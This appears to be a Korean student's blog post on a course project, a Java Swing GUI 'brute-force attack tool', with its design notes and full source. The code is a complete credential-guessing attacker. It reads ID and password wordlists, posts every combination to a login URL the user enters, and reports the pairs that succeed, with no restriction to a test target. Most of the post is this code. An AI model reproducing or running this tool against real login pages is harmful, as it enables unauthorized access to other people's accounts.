브루트포스 해킹 툴 소개

객체지향설계 프로젝트

Brute-Force Attack Tool

1. 프로젝트 개요

객체지향설제 수업에서 GUI 프로그래밍을 배우게 되어 GUI 기반의 브루트포스 공격 툴을 개발하게 되었습니다.

2. 주요 기능

  • GUI 기반 로그인 시뮬레이션 (Java Swing)
  • 사전(id.txt, password.txt) 파일을 이용한 아이디, 패스워드 추측
  • 스레드를 이용한 멀티 태스킹
  • 로그 출력
  • 객체지향 설계 적용 (클래스 분리)

3. 클래스 설계

주요 클래스 구성:

  • BruteForceApp: 실행 시작점 (main)
  • BruteForceAttack: 전체 GUI 구성
  • FileLoader: 파일 로딩
  • LoginAttempt: 로그인 시도
  • LogWindow: 로그 출력 창

4. 실행 화면

실행 화면 스크린샷:

실행화면

로그 화면 스크린샷:

실행화면

공격 성공 화면 스크린샷:

실행화면

5. 코드

BruteForceApp

		
package bruteforce;

public class BruteForceApp {

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		new BruteForceAttack();
	}

}
		
	

BruteForceAttack

		
package bruteforce;

import javax.swing.*;
import java.awt.*;
import java.io.File;
import java.util.List;

public class BruteForceAttack extends JFrame {
    private JTextField urlField;
    private JButton uploadIdButton, uploadPwButton, attackButton;
    private File idFile, pwFile;
    private List idList, pwList;
    private LogWindow logWindow;
    private LoginAttempt loginService;

    public BruteForceAttack() {
        setTitle("Brute Force Attack Tool");
        setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        JPanel inputPanel = new JPanel(new GridLayout(4, 2, 10, 10));
        inputPanel.setBorder(BorderFactory.createEmptyBorder(15, 15, 15, 15));

        inputPanel.add(new JLabel("URL을 입력하세요:"));
        urlField = new JTextField(20);
        inputPanel.add(urlField);

        inputPanel.add(new JLabel("아이디 파일을 선택하세요:"));
        uploadIdButton = new JButton("업로드");
        uploadIdButton.addActionListener(e -> {
            idFile = FileLoader.chooseFile();
            idList = FileLoader.readFile(idFile);
            uploadIdButton.setText("업로드 완료");
        });
        inputPanel.add(uploadIdButton);

        inputPanel.add(new JLabel("비밀번호 파일을 선택하세요:"));
        uploadPwButton = new JButton("업로드");
        uploadPwButton.addActionListener(e -> {
            pwFile = FileLoader.chooseFile();
            pwList = FileLoader.readFile(pwFile);
            uploadPwButton.setText("업로드 완료");
        });
        inputPanel.add(uploadPwButton);

        inputPanel.add(new JLabel(""));
        attackButton = new JButton("공격 시작");
        attackButton.addActionListener(e -> startAttack());
        inputPanel.add(attackButton);

        add(inputPanel);
        pack();
        setLocationRelativeTo(null);
        setVisible(true);

        logWindow = new LogWindow();
        loginService = new LoginAttempt(logWindow);
    }

    private void startAttack() {
        if (idList == null || pwList == null || urlField.getText().isEmpty()) {
            JOptionPane.showMessageDialog(null, "URL을 입력하거나 아이디 또는 비밀번호 파일을 선택하세요.", "경고", JOptionPane.WARNING_MESSAGE);
            return;
        }

        logWindow.clear();
        logWindow.setVisible(true);

        final String targetUrl = urlField.getText().trim();

        new Thread(() -> {
            logWindow.appendLog("공격 시작 중...");
            boolean found = false;
            StringBuilder successList = new StringBuilder();
            for (String id : idList) {
                for (String pw : pwList) {
                    if (loginService.tryLogin(targetUrl, id, pw)) {
                        String msg = "성공! \n ID: " + id + " / PW: " + pw;
                        logWindow.appendLog(msg);
                        successList.append(msg).append("\n");
                        found = true;
                    } else {
                        logWindow.appendLog("실패 - ID: " + id + " / PW: " + pw);
                    }
                    try { Thread.sleep(10); } catch (InterruptedException ignored) {}
                }
            }
            if (found) {
                JOptionPane.showMessageDialog(null, "성공한 ID/PW 목록:\n" + successList.toString(), "알림", JOptionPane.INFORMATION_MESSAGE);
            } else {
                logWindow.appendLog("실패! 로그인 실패.");
                JOptionPane.showMessageDialog(null, "실패! 로그인 실패.", "경고", JOptionPane.WARNING_MESSAGE);
            }
        }).start();
    }
}
		
	

람다식을 활용한 버튼 클릭 이벤트 간결하게 처리

파일 업로드를 완료한다면 '업로드'에서 '업로드 완료'로 변경됨


FileLoader

		
package bruteforce;

import javax.swing.*;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

public class FileLoader {
    public static File chooseFile() {
        JFileChooser fileChooser = new JFileChooser();
        int result = fileChooser.showOpenDialog(null);
        return (result == JFileChooser.APPROVE_OPTION) ? fileChooser.getSelectedFile() : null;
    }

    public static List readFile(File file) {
        List list = new ArrayList<>();
        if (file == null) return list;
        try (Scanner scanner = new Scanner(file)) {
            while (scanner.hasNextLine()) {
                list.add(scanner.nextLine().trim());
            }
        } catch (IOException e) {
            JOptionPane.showMessageDialog(null, "파일 읽기 실패: " + e.getMessage());
        }
        return list;
    }
}
		
	

메인 스레드를 막지 않고, GUI가 멈추지 않도록 하기 위해서 새로운 스레드에서 수행

스레드 부분 또한 람다식 활용


LoginAttempt

		
package bruteforce;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;

public class LoginAttempt {
    private final LogWindow logWindow;

    public LoginAttempt(LogWindow logWindow) {
        this.logWindow = logWindow;
    }

    public boolean tryLogin(String targetUrl, String id, String pw) {
        try {
            HttpURLConnection conn = (HttpURLConnection) new URL(targetUrl).openConnection();
            conn.setRequestMethod("POST");
            conn.setInstanceFollowRedirects(false);
            conn.setDoOutput(true);
            conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

            String postData = "username=" + id + "&password=" + pw;
            try (OutputStream os = conn.getOutputStream()) {
                os.write(postData.getBytes());
                os.flush();
            }

            int code = conn.getResponseCode();
            String location = conn.getHeaderField("Location");

            return code == 302 && location != null && !location.contains("login");
        } catch (IOException e) {
            logWindow.appendLog("오류: " + e.getMessage());
        }
        return false;
    }
}
		
	

LogWindow

		
package bruteforce;

import javax.swing.*;
import java.awt.*;

public class LogWindow extends JFrame {
    private JTextArea textArea;

    public LogWindow() {
        setTitle("로그 창");
        setSize(500, 400);
        setLocationRelativeTo(null);
        textArea = new JTextArea();
        textArea.setEditable(false);
        add(new JScrollPane(textArea), BorderLayout.CENTER);
    }

    public void appendLog(String message) {
        SwingUtilities.invokeLater(() -> {
            textArea.append(message + "\n");
        });
    }

    public void clear() {
        textArea.setText("");
    }
}